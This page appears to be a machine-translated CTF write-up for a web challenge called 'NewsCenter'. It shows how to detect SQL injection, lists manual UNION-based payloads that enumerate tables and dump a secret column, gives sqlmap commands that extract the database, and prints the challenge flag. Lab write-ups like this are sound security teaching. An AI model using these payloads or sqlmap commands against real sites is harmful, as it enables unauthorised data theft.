当前位置:网站首页>Newscenter, advanced area of attack and defense world web masters
Newscenter, advanced area of attack and defense world web masters
2022-07-29 00:17:00 【Ant200】
One 、 analysis
Enter the page , I saw a website , Look at the source code , Web content , Look for a breakthrough , You can scan the directory with Yujian to find a breakthrough , The test found no breakthrough , Try... Try sql Inject .
Two 、 step
1. Test for presence sql Inject
How to determine sql Injection point
1 Single quotation mark judgment
Search box or URL Tail end plus ’ If an error is reported, there may be sql Inject holes , Because character type or Integer types will report errors because the number of single quotes does not match
2, The number type determines whether there is injection
and 1=1 Return to the correct page
and 1=2 Return to error page
3, The character type determines whether there is injection
‘ and ‘1’='1 Return to the correct page
’ and '1'='2 Return to error page
Single quotation mark judgment , You can enter... In the search box ', It can also be in url Add at the end. Note here that post Submit ,why? Looking at the source code of the initial page, you can find


Already known to exist sql Inject , You can use tools sqlmap. It can also be injected manually
Manual injection :
1, structure payload:1' order by 3#, For before 1,2,3 Page echo is normal , When it comes to 4 When the page reports an error , Description has three columns of data

2. structure payload:1' union select 1,2,3# Burst the two columns of data injected

3. The injection point is 2,3. structure payload:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# Name of the table

4. structure payload:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='secret_table'# Pop field

5. structure payload:' union select 1,2,group_concat(id,0x3a,fl4g) from secret_table# detonation flag

flag:QCTF{sq1_inJec7ion_ezzz}
sqlmap:
bp Capture and save as 1.txt, Put it in kali root Under the table of contents


Carry out orders :sqlmap -r "1.txt" Burst information

Reveal the name of the library , And the user name :sqlmap -r "1.txt" --current-db --current-user

Name of the table :sqlmap -r "1.txt" --tables -D "news"

Pop field :sqlmap -r "1.txt" --columns -D "news" -T "secret_table"

detonation flag:sqlmap -r 1.txt -D "news" -T "secret_table" -C "fl4g" --dump

边栏推荐
- Pycharm configuring the running environment
- Oracle create tablespaces and users
- Network traffic monitoring tool iftop
- 2022网络安全学习路线 非常详细 推荐学习
- The difference between {} and ${}
- Web系统常见安全漏洞介绍及解决方案-CSRF攻击
- 110道 MySQL面试题及答案 (持续更新)
- laptop外接显示器
- Those "experiences and traps" in the data center
- 1-6 state and binding events
猜你喜欢

VMware VCSA 7.0 Install

Detailed principle explanation and verification results of digital clock based on FPGA
![[applet project development -- JD mall] uni app commodity classification page (first)](/img/6c/5b92fc1f18d58e0fdf6f1896188fcd.png)
[applet project development -- JD mall] uni app commodity classification page (first)

How can Plato obtain premium income through elephant swap in a bear market?

Servlet operation principle_ API details_ Advanced path of request response construction (servlet_2)

Virtual lab basic experiment tutorial -8. Fourier transform (1)

Geth installation

Yolov5 learning notes (I) -- principle overview

Principle of meter skipping

基于 FPGA 实现数字时钟详细原理讲解及验证结果
随机推荐
【小程序项目开发 -- 京东商城】uni-app 商品分类页面(上)
研发效能的道法术器
Plato farm is expected to further expand its ecosystem through elephant swap
Multimodal model sketch (1)
2022 network security learning route is very detailed, recommended Learning
SAP temporary tablespace error handling
IDEA2021.2安装与配置(持续更新)
[CNN] Why is the convolution kernel size of CNN usually odd
"Method not allowed", 405 problem analysis and solution
[TA frost wolf \u may - "hundred people plan"] Figure 3.6 texture compression - inclusion slimming
Samsung asset management (Hong Kong) launched yuancosmos ETF to focus on investing in the future tuyere track
1-7 解决类中方法的this指向问题
Build SSM project with JSP as view parser
[TA frost wolf _may- "hundred people plan"] art 2.2 model basis
Summary of wrong questions of software designers
EN 12101-8:2011 smoke dampers for smoke and heat control systems - CE certification
Geth installation
2022网络安全学习路线 非常详细 推荐学习
Leetcode64. Minimum path sum
PHP语言基础知识(超详细)